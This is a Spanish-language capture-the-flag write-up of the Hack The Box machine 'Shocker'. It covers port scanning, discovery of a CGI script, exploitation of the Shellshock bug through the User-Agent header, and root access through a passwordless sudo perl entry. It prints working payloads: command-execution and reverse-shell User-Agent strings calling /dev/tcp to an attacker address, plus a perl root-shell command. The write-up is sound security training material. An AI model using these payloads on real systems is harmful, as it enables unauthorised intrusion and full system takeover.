Shocker

Shocker, aunque bastante simple en general, demuestra la gravedad del famoso exploit Shellshock, que afectΓ³ a millones de servidores pΓΊblicos.


Reconnaissance

Realizaremos un reconocimiento con nmap para ver los puertos que estΓ‘n expuestos en la mΓ‘quina Shocker. Este resultado lo almacenaremos en un archivo llamado allPorts.

❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.56 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 20:27 CET
Initiating SYN Stealth Scan at 20:27
Scanning 10.10.10.56 [65535 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 20:27, 29.33s elapsed (65535 total ports)
Nmap scan report for 10.10.10.56
Host is up, received user-set (0.54s latency).
Scanned at 2025-02-13 20:27:07 CET for 29s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE      REASON
80/tcp   open  http         syn-ack ttl 63
2222/tcp open  EtherNetIP-1 syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.43 seconds
           Raw packets sent: 71016 (3.125MB) | Rcvd: 70953 (2.839MB)

A travΓ©s de la herramienta de extractPorts, la utilizaremos para extraer los puertos del archivo que nos generΓ³ el primer escaneo a travΓ©s de Nmap. Esta herramienta nos copiarΓ‘ en la clipboard los puertos encontrados.

❯ extractPorts allPorts

[*] Extracting information...

	[*] IP Address: 10.10.10.56
	[*] Open ports: 80,2222

[*] Ports copied to clipboard

Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una pΓ‘gina web de Apache y un servicio SSH.

❯ nmap -sCV -p80,2222 10.10.10.56 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 20:29 CET
Nmap scan report for 10.10.10.56
Host is up (0.075s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   91.64 ms 10.10.16.1
2   48.89 ms 10.10.10.56

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds

Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

❯ xsltproc targetedXML > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Accederemos a http://localhost y verificaremos el resultado en un formato mΓ‘s cΓ³modo para su anΓ‘lisis.

Web Enumeration

Realizaremos una comprobaciΓ³n de las tecnologΓ­as que utiliza el sitio web.

❯ whatweb http://10.10.10.56
http://10.10.10.56 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56]

Al acceder a http://10.10.10.56 nos encontramos con el siguiente contenido de la pΓ‘gina web.

Realizamos una enumeraciΓ³n bΓ‘sica de directorios y pΓ‘ginas y no logramos obtener ninguna informaciΓ³n al respecto.

❯ dirsearch -u 'http://10.10.10.56/' -t 50 -i 200 2>/dev/null

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460

Output File: /home/kali/Desktop/HackTheBox/Linux/Shocker/Shocker/reports/http_10.10.10.56/__25-02-14_15-49-09.txt

Target: http://10.10.10.56/

[15:49:09] Starting: 

Task Completed

Realizamos nuevamente una enumeraciΓ³n de pΓ‘ginas con extensiΓ³n html y php pero tampoco logramos obtener informaciΓ³n relevante.

❯ feroxbuster -u http://10.10.10.56 -x html,php
                                                                                                                                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.10.56
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [html, php]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
200      GET      234l      773w    66161c http://10.10.10.56/bug.jpg
200      GET        9l       13w      137c http://10.10.10.56/
200      GET        9l       13w      137c http://10.10.10.56/index.html

A travΓ©s del parΓ‘metro -f lo que le indicamos a Feroxbuster de aΓ±adir un slash / al final de cada peticiΓ³n que se realiza, esto debido que posiblemente podamos encontrar mΓ‘s informaciΓ³n de posibles directorios.

En el resultado obtenido, logramos enumerar el directorio /cgi-bin/.

Los servidores web suelen tener un directorio CGI-bin/ en la base de su Γ‘rbol de directorios para almacenar archivos ejecutables llamados CGI. Un CGI-bin es un directorio especial designado en los archivos de configuraciΓ³n de un servidor web para permitir la ejecuciΓ³n de scripts CGI en directorios especΓ­ficos.

❯ feroxbuster -u http://10.10.10.56 -f -n --status-codes 200,403 --dont-filter
                                                                                                                                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.10.56
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ [200, 403]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ€ͺ  Filter Wildcards      β”‚ false
 πŸͺ“  Add Slash             β”‚ true
 🚫  Do Not Recurse        β”‚ true
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
403      GET       11l       32w      294c http://10.10.10.56/cgi-bin/
200      GET      234l      773w    66161c http://10.10.10.56/bug.jpg
200      GET        9l       13w      137c http://10.10.10.56/
403      GET       11l       32w      292c http://10.10.10.56/icons/
403      GET       11l       32w      300c http://10.10.10.56/server-status/

Realizaremos una bΓΊsqueda de archivos ejecutables que se puedan encontrar en el directorio /cgi-bin/. Finalmente logramos enumerar un archivo llamadouser.sh.

❯ feroxbuster -u http://10.10.10.56/cgi-bin/ -x sh,cgi,pl,txt,php
                                                                                                                                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.10.56/cgi-bin/
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [sh, cgi, pl, txt, php]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
200      GET        7l       17w      118c http://10.10.10.56/cgi-bin/user.sh
404      GET        9l       33w      299c http://10.10.10.56/cgi-bin/Style%20Library.sh

Initial Access

ShelShock Attack (User-Agent) [CVE-2014-6271]

Accederemos a http://10.10.10.56/cgi-bin/user.sh y visualizamos el contenido del script.

El endpoint /cgi-bin/user.sh estΓ‘ ejecutando un script en el servidor y devolviendo su salida.

AnΓ‘lisis de la respuesta:

  • Content-Type: text/x-sh β†’ El servidor estΓ‘ sirviendo un archivo de script de shell (.sh).

  • Just an uptime test script β†’ Mensaje que indica que el script solo muestra el uptime del sistema.

  • 19:11:10 up 5 min, 0 users, load average: 0.00, 0.03, 0.01 β†’ Resultado del comando uptime, lo que sugiere que el script ejecuta comandos del sistema.

Si el servidor ejecuta el script sin restricciones, podrΓ­amos probar Shellshock o command injection enviando una carga en la cabecera User-Agent o como parΓ‘metro en la URL.

Shellshock (CVE-2014-6271) es una vulnerabilidad en Bash que permite ejecutar comandos arbitrarios a travΓ©s de variables de entorno manipuladas. Se explota inyectando cΓ³digo malicioso en cabeceras HTTP o parΓ‘metros de CGI cuando el servidor usa Bash para ejecutar scripts.

Nos encontramos con el siguiente repositorio de GitHub que nos mostraba un simple PoC de cΓ³mo intentar explotar el ShellShock.

Modificaremos el encabezado de User-Agent para inyectarle el siguiente cΓ³digo malicioso. Verificamos que en la respuesta por parte del servidor, hemos logrado la ejecuciΓ³n de comandos.

User-Agent: () { :; }; echo; /usr/bin/id

El siguiente paso, serΓ‘ lograr obtener una Reverse Shell para acceder al sistema. Nos pondremos en escucha con nc.

❯ nc -nlvp 443
listening on [any] 443 ...

Inyectaremos el siguiente cΓ³digo malicioso en el User-Agent para establecernos la Reverse Shell.

User-Agent: () { :; }; /bin/bash -c /bin/bash -i >& /dev/tcp/10.10.16.7/443 0>&1

Verificaremos que logramos acceder al sistema y visualizar la flag de user.txt.

❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.56] 42186
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$ cat /home/shelly/user.txt 
2283b57fd1d3********************

Privilege Escalation

Abusing sudoers privilege (perl)

Revisaremos los grupos a los que forma parte el usuario shelly. Por otro lado, al verificar si disponΓ­amos de permisos de sudoers, nos encontramos que tenemos la capacidad de ejecutar como sudo sin proporcionar credenciales el binario de /usr/bin/perl.

shelly@Shocker:/usr/lib/cgi-bin$ id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl

En la pΓ‘gina de GTFOBins podemos encontrar diferentes maneras de cΓ³mo abusar de privilegios de binarios con sudoers. Nos encontramos la respectiva entrada del binario perl.

TambiΓ©n, podemos realizar la misma consulta a travΓ©s de la siguiente herramienta de searchbins que realiza la consulta de GTFOBins desde la misma terminal.

❯ searchbins -b perl -f sudo

[+] Binary: perl

================================================================================
[*] Function: sudo -> [https://gtfobins.github.io/gtfobins/perl/#sudo]

	| sudo perl -e 'exec "/bin/sh";'

Realizamos la ejecuciΓ³n del comando que se nos proporciona en GTFOBins y finalmente logramos abusar del binario /usr/bin/perl como sudo y logramos el acceso a root. Finalmente, comprobamos la flag de root.txt.

shelly@Shocker:/usr/lib/cgi-bin$ sudo perl -e 'exec "/bin/bash";'  
root@Shocker:/usr/lib/cgi-bin# cat /root/root.txt 
47fd73a775177*******************

Última actualización

ΒΏTe fue ΓΊtil?